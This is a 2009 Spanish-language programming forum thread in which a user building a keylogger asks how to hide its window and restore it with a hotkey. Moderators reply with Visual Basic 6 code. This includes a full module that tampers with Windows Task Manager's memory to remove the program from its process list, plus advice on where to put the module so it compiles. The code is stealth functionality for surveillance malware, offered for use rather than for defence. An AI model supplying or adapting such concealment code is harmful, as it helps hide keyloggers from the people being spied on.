elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Arreglado, de nuevo, el registro del warzone (wargame) de EHN


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP)
| | | |-+  Programación Visual Basic (Moderadores: LeandroA, seba123neo)
| | | | |-+  modo oculto
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: modo oculto  (Leído 4,916 veces)
Daklon

Desconectado Desconectado

Mensajes: 57



Ver Perfil
modo oculto
« en: 29 Octubre 2009, 22:46 pm »

estoy intentando poner la tipica opcion de que cuando apretas un boton el keylogger se minimiza y deja de estar en la barra de tareas y que cuando apretas una combinacion de teclas se restaura pero cuando pongo esto para que pase a "modo oculto" me sale:

Error de compilacion:

La funcion o la interfaz está marcada como restringida, o la función usa un tipo de Automatización no admitido en Visual Basic

lo que pongo exactamente es
Código:
Private Sub Command3_Click()
Form1.WindowState = 1
Form1.ShowInTaskbar = False


End Sub
con el windowsstate solo si funciona pero con el taskbar ya me sale el error como lo soluciono? se me ha ocurrido una idea pero no estoy seguro de si funcionaria y es usando el comando call

y lo otro es que tampoco se como ahcer que cuando se presione determinada combinacion de teclas la ventana se restaure


Edit:

probe con esto y me sale el mismo error:
Código:
Private Sub Command3_Click()
Call oculto_Load



End Sub

Private Sub oculto_Load()
Form1.WindowState = 1
Form1.ShowInTaskbar = False
End Sub

edit2:

ya lo solucione usando form1.visible = False

pero sigo sin descubrir como hacer para que cuando se pulse una combinaicon de teclas se restaure la ventana


« Última modificación: 29 Octubre 2009, 23:00 pm por Daklon » En línea

LeandroA
Moderador
***
Desconectado Desconectado

Mensajes: 760


www.leandroascierto.com


Ver Perfil WWW
Re: modo oculto
« Respuesta #1 en: 29 Octubre 2009, 23:38 pm »

hola te paso un ejemplo facil del api guide

Código:
Private Const MOD_ALT = &H1
Private Const MOD_CONTROL = &H2
Private Const MOD_SHIFT = &H4
Private Const PM_REMOVE = &H1
Private Const WM_HOTKEY = &H312
Private Type POINTAPI
    x As Long
    y As Long
End Type
Private Type Msg
    hWnd As Long
    Message As Long
    wParam As Long
    lParam As Long
    time As Long
    pt As POINTAPI
End Type
Private Declare Function RegisterHotKey Lib "user32" (ByVal hWnd As Long, ByVal id As Long, ByVal fsModifiers As Long, ByVal vk As Long) As Long
Private Declare Function UnregisterHotKey Lib "user32" (ByVal hWnd As Long, ByVal id As Long) As Long
Private Declare Function PeekMessage Lib "user32" Alias "PeekMessageA" (lpMsg As Msg, ByVal hWnd As Long, ByVal wMsgFilterMin As Long, ByVal wMsgFilterMax As Long, ByVal wRemoveMsg As Long) As Long
Private Declare Function WaitMessage Lib "user32" () As Long
Private bCancel As Boolean
Private Sub ProcessMessages()
    Dim Message As Msg
    'loop until bCancel is set to True
    Do While Not bCancel
        'wait for a message
        WaitMessage
        'check if it's a HOTKEY-message
        If PeekMessage(Message, Me.hWnd, WM_HOTKEY, WM_HOTKEY, PM_REMOVE) Then
            'restore the form
            WindowState = vbNormal
        End If
        'let the operating system process other events
        DoEvents
    Loop
End Sub
Private Sub Form_Load()
    'KPD-Team 2000
    'URL: http://www.allapi.net/
    'E-Mail: KPDTeam@Allapi.net
    Dim ret As Long
    bCancel = False
    'register the Ctrl-F hotkey
    ret = RegisterHotKey(Me.hWnd, &HBFFF&, MOD_CONTROL, vbKeyF)
    'show some information
    Me.AutoRedraw = True
    Me.Print "Press CTRL-F to restore this form"
    'show the form and
    Show
    'process the Hotkey messages
    ProcessMessages
End Sub
Private Sub Form_Unload(Cancel As Integer)
    bCancel = True
    'unregister hotkey
    Call UnregisterHotKey(Me.hWnd, &HBFFF&)
End Sub

cuando apretas ctrl +f  se restaura el formulario

Saludos


En línea

WHK
Moderador Global
***
Desconectado Desconectado

Mensajes: 6.589


Sin conocimiento no hay espíritu


Ver Perfil WWW
Re: modo oculto
« Respuesta #2 en: 29 Octubre 2009, 23:47 pm »

Y con esto lo ocultas de la lista de procesos (solo del administrador de tareas)

Código
  1. Option Explicit
  2. Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
  3. Public Declare Function EnumChildWindows Lib "user32" (ByVal hWndParent As Long, ByVal lpEnumFunc As Long, ByVal lParam As Long) As Long
  4. Public Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
  5. Public Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long
  6. Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
  7.  
  8. Private Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hwnd As Long, lpdwProcessId As Long) As Long
  9. Private Declare Function ReadProcessMemory Lib "kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
  10. Private Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
  11. Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
  12.  
  13. Public Declare Function SetTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long
  14. Public Declare Function KillTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long
  15.  
  16. Const PROCESS_VM_OPERATION = &H8
  17. Const PROCESS_VM_READ = &H10
  18. Const PROCESS_VM_WRITE = &H20
  19. Const PROCESS_ALL_ACCESS = 0
  20. Private Const PAGE_READWRITE = &H4&
  21.  
  22. Const MEM_COMMIT = &H1000
  23. Const MEM_RESERVE = &H2000
  24. Const MEM_DECOMMIT = &H4000
  25. Const MEM_RELEASE = &H8000
  26. Const MEM_FREE = &H10000
  27. Const MEM_PRIVATE = &H20000
  28. Const MEM_MAPPED = &H40000
  29. Const MEM_TOP_DOWN = &H100000
  30.  
  31. Private Declare Function VirtualAllocEx Lib "kernel32" (ByVal hProcess As Long, ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
  32. Private Declare Function VirtualFreeEx Lib "kernel32" (ByVal hProcess As Long, lpAddress As Any, ByVal dwSize As Long, ByVal dwFreeType As Long) As Long
  33. Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
  34.  
  35. Private Const LVM_FIRST = &H1000
  36. Private Const LVM_GETTITEMCOUNT& = (LVM_FIRST + 4)
  37.  
  38. Private Const LVM_GETITEMW = (LVM_FIRST + 75)
  39. Private Const LVIF_TEXT = &H1
  40. Private Const LVM_DELETEITEM = 4104
  41.  
  42. Public Type LV_ITEM
  43.    mask As Long
  44.    iItem As Long
  45.    iSubItem As Long
  46.    state As Long
  47.    stateMask As Long
  48.    lpszText As Long 'LPCSTR
  49.    cchTextMax As Long
  50.    iImage As Long
  51.    lParam As Long
  52.    iIndent As Long
  53. End Type
  54.  
  55. Type LV_TEXT
  56.    sItemText As String * 80
  57. End Type
  58.  
  59. Public Function Procesos(ByVal hWnd2 As Long, lParam As String) As Boolean
  60. Dim Nombre As String * 255, nombreClase As String * 255
  61. Dim Nombre2 As String, nombreClase2 As String
  62. Dim X As Long, Y As Long
  63. X = GetWindowText(hWnd2, Nombre, 255)
  64. Y = GetClassName(hWnd2, nombreClase, 255)
  65.  
  66. Nombre = Left(Nombre, X)
  67. nombreClase = Left(nombreClase, Y)
  68. Nombre2 = Trim(Nombre)
  69. nombreClase2 = Trim(nombreClase)
  70. If nombreClase2 = "SysListView32" And Nombre2 = "Procesos" Then
  71.   OcultarItems (hWnd2)
  72.   Exit Function
  73. End If
  74. If Nombre2 = "" And nombreClase2 = "" Then
  75. Procesos = False
  76. Else
  77. Procesos = True
  78. End If
  79. End Function
  80.  
  81. Private Function OcultarItems(ByVal hListView As Long) ' As Variant
  82.   Dim pid As Long, tid As Long
  83.   Dim hProceso As Long, nElem As Long, lEscribiendo As Long, i As Long
  84.   Dim DirMemComp As Long, dwTam As Long
  85.   Dim DirMemComp2 As Long
  86.   Dim sLVItems() As String
  87.   Dim li As LV_ITEM
  88.   Dim lt As LV_TEXT
  89.   If hListView = 0 Then Exit Function
  90.   tid = GetWindowThreadProcessId(hListView, pid)
  91.   nElem = SendMessage(hListView, LVM_GETTITEMCOUNT, 0, 0&)
  92.   If nElem = 0 Then Exit Function
  93.   ReDim sLVItems(nElem - 1)
  94.   li.cchTextMax = 80
  95.   dwTam = Len(li)
  96.      DirMemComp = GetMemComp(pid, dwTam, hProceso)
  97.      DirMemComp2 = GetMemComp(pid, LenB(lt), hProceso)
  98.      For i = 0 To nElem - 1
  99.          li.lpszText = DirMemComp2
  100.          li.cchTextMax = 80
  101.          li.iItem = i
  102.          li.mask = LVIF_TEXT
  103.          WriteProcessMemory hProceso, ByVal DirMemComp, li, dwTam, lEscribiendo
  104.          lt.sItemText = Space(80)
  105.          WriteProcessMemory hProceso, ByVal DirMemComp2, lt, LenB(lt), lEscribiendo
  106.          Call SendMessage(hListView, LVM_GETITEMW, 0, ByVal DirMemComp)
  107.          Call ReadProcessMemory(hProceso, ByVal DirMemComp2, lt, LenB(lt), lEscribiendo)
  108.          If TrimNull(StrConv(lt.sItemText, vbFromUnicode)) = App.EXEName & ".exe" Then  '<===========CAMBIAR
  109.           Call SendMessage(hListView, LVM_DELETEITEM, i, 0)
  110.           Exit Function
  111.          End If
  112.      Next i
  113.      CloseMemComp hProceso, DirMemComp, dwTam
  114.      CloseMemComp hProceso, DirMemComp2, LenB(lt)
  115. End Function
  116.  
  117. Private Function GetMemComp(ByVal pid As Long, ByVal memTam As Long, hProceso As Long) As Long
  118.    hProceso = OpenProcess(PROCESS_VM_OPERATION Or PROCESS_VM_READ Or PROCESS_VM_WRITE, False, pid)
  119.    GetMemComp = VirtualAllocEx(ByVal hProceso, ByVal 0&, ByVal memTam, MEM_RESERVE Or MEM_COMMIT, PAGE_READWRITE)
  120. End Function
  121.  
  122. Private Sub CloseMemComp(ByVal hProceso As Long, ByVal DirMem As Long, ByVal memTam As Long)
  123.   Call VirtualFreeEx(hProceso, ByVal DirMem, memTam, MEM_RELEASE)
  124.   CloseHandle hProceso
  125. End Sub
  126. Private Function TrimNull(sInput As String) As String
  127.   Dim pos As Integer
  128.   pos = InStr(sInput, Chr$(0))
  129.   If pos Then
  130.      TrimNull = Left$(sInput, pos - 1)
  131.      Exit Function
  132.   End If
  133.   TrimNull = sInput
  134. End Function
  135. Sub TimerProc(ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long)
  136. Dim Handle As Long
  137. Handle = FindWindow(vbNullString, "Administrador de tareas de Windows")
  138. If Handle <> 0 Then EnumChildWindows Handle, AddressOf Procesos, 1
  139. End Sub
  140.  
  141. Public Sub Ocultar(ByVal hwnd As Long)
  142.    App.TaskVisible = False
  143.    SetTimer hwnd, 0, 20, AddressOf TimerProc
  144. End Sub
  145.  
  146. Public Sub Mostrar(ByVal hwnd As Long)
  147.    App.TaskVisible = True
  148.    KillTimer hwnd, 0
  149. End Sub
  150.  

Lo usas así:

Código
  1. Private Sub Command1_Click()
  2. Ocultar Me.hwnd
  3. End Sub
  4.  
  5. Private Sub Command2_Click()
  6. Mostrar Me.hwnd
  7. End Sub
En línea

BlackZeroX
Wiki

Desconectado Desconectado

Mensajes: 3.158


I'Love...!¡.


Ver Perfil WWW
Re: modo oculto
« Respuesta #3 en: 29 Octubre 2009, 23:57 pm »

El proceso de ocultar del Administrador de Tareas es un proceso que se come el procesador xP

y peor aun se nota el salto del proceso,

P.D.: si usan este ultimo al Titulo de la Aplicacion(Del proyecto en general, cuando van a generar el exe, den click en opciones y modifiquen) me parece que se tiene que poner un punto o espacio, no recuerdo bien xP.

Dulces Lunas
« Última modificación: 30 Octubre 2009, 00:00 am por ░▒▓BlackZeroҖ▓▒░ » En línea

The Dark Shadow is my passion.
Daklon

Desconectado Desconectado

Mensajes: 57



Ver Perfil
Re: modo oculto
« Respuesta #4 en: 30 Octubre 2009, 00:11 am »

intente ponerlo pero me daba errores al probarlo

En línea

BlackZeroX
Wiki

Desconectado Desconectado

Mensajes: 3.158


I'Love...!¡.


Ver Perfil WWW
Re: modo oculto
« Respuesta #5 en: 30 Octubre 2009, 00:53 am »

intente ponerlo pero me daba errores al probarlo



espero lo estes compilando... si sabes leer codigo sabras que no funcionara el codigo posteado por WHK si no esta compilado
En línea

The Dark Shadow is my passion.
Daklon

Desconectado Desconectado

Mensajes: 57



Ver Perfil
Re: modo oculto
« Respuesta #6 en: 30 Octubre 2009, 18:45 pm »

la verdad es que no entiendo la gran parte pero algunos cachos si

el error me da nada mas escribirlo

y es algo de que esto:
Public Type LV_ITEM

no puede ser publico o algo asi

En línea

BlackZeroX
Wiki

Desconectado Desconectado

Mensajes: 3.158


I'Love...!¡.


Ver Perfil WWW
Re: modo oculto
« Respuesta #7 en: 30 Octubre 2009, 19:35 pm »

ola

empece hace poco con esto del vb y tengo una duda

me hice un programa(bastante simple) y luego me hice otro formulario con una imagen, sin bordes y con un timer para que pasados 3 segundos automaticamente se cerrara y dejara ver el programa(form1) pero no se como puedo hacerlo
la verdad es que no entiendo la gran parte pero algunos cachos si

el error me da nada mas escribirlo

y es algo de que esto:
Public Type LV_ITEM

no puede ser publico o algo asi



Con le dediques  un dia de lectura a un manual...

Busca un TUTORIAL de Visual BAsic es basico, pero aun asi, el codigo va en un modulo mas no en un form o modulo de clase

Dulces Lunas!¡.
« Última modificación: 30 Octubre 2009, 19:38 pm por ░▒▓BlackZeroҖ▓▒░ » En línea

The Dark Shadow is my passion.
cobein


Desconectado Desconectado

Mensajes: 759



Ver Perfil WWW
Re: modo oculto
« Respuesta #8 en: 30 Octubre 2009, 22:02 pm »

Hay maneras mucho mas simples de ocultar el proceso, cambiando los atributos de seguridad .. son un par de APIs nada mas.
En línea

http://www.advancevb.com.ar
Más Argentino que el morcipan
Aguante el Uvita tinto, Tigre, Ford y seba123neo
Karcrack es un capo.
WHK
Moderador Global
***
Desconectado Desconectado

Mensajes: 6.589


Sin conocimiento no hay espíritu


Ver Perfil WWW
Re: modo oculto
« Respuesta #9 en: 31 Octubre 2009, 00:24 am »

te sale ese error porque lo estas escribiendo sobre el mismo form y lo estas haciendo private, ponlo en un módulo bas
En línea

Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Capturar audio de las conversaciones de MSN en modo oculto en mi propio PC « 1 2 »
Hacking
crossless 13 9,763 Último mensaje 7 Febrero 2012, 08:26 am
por H1tchclock
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines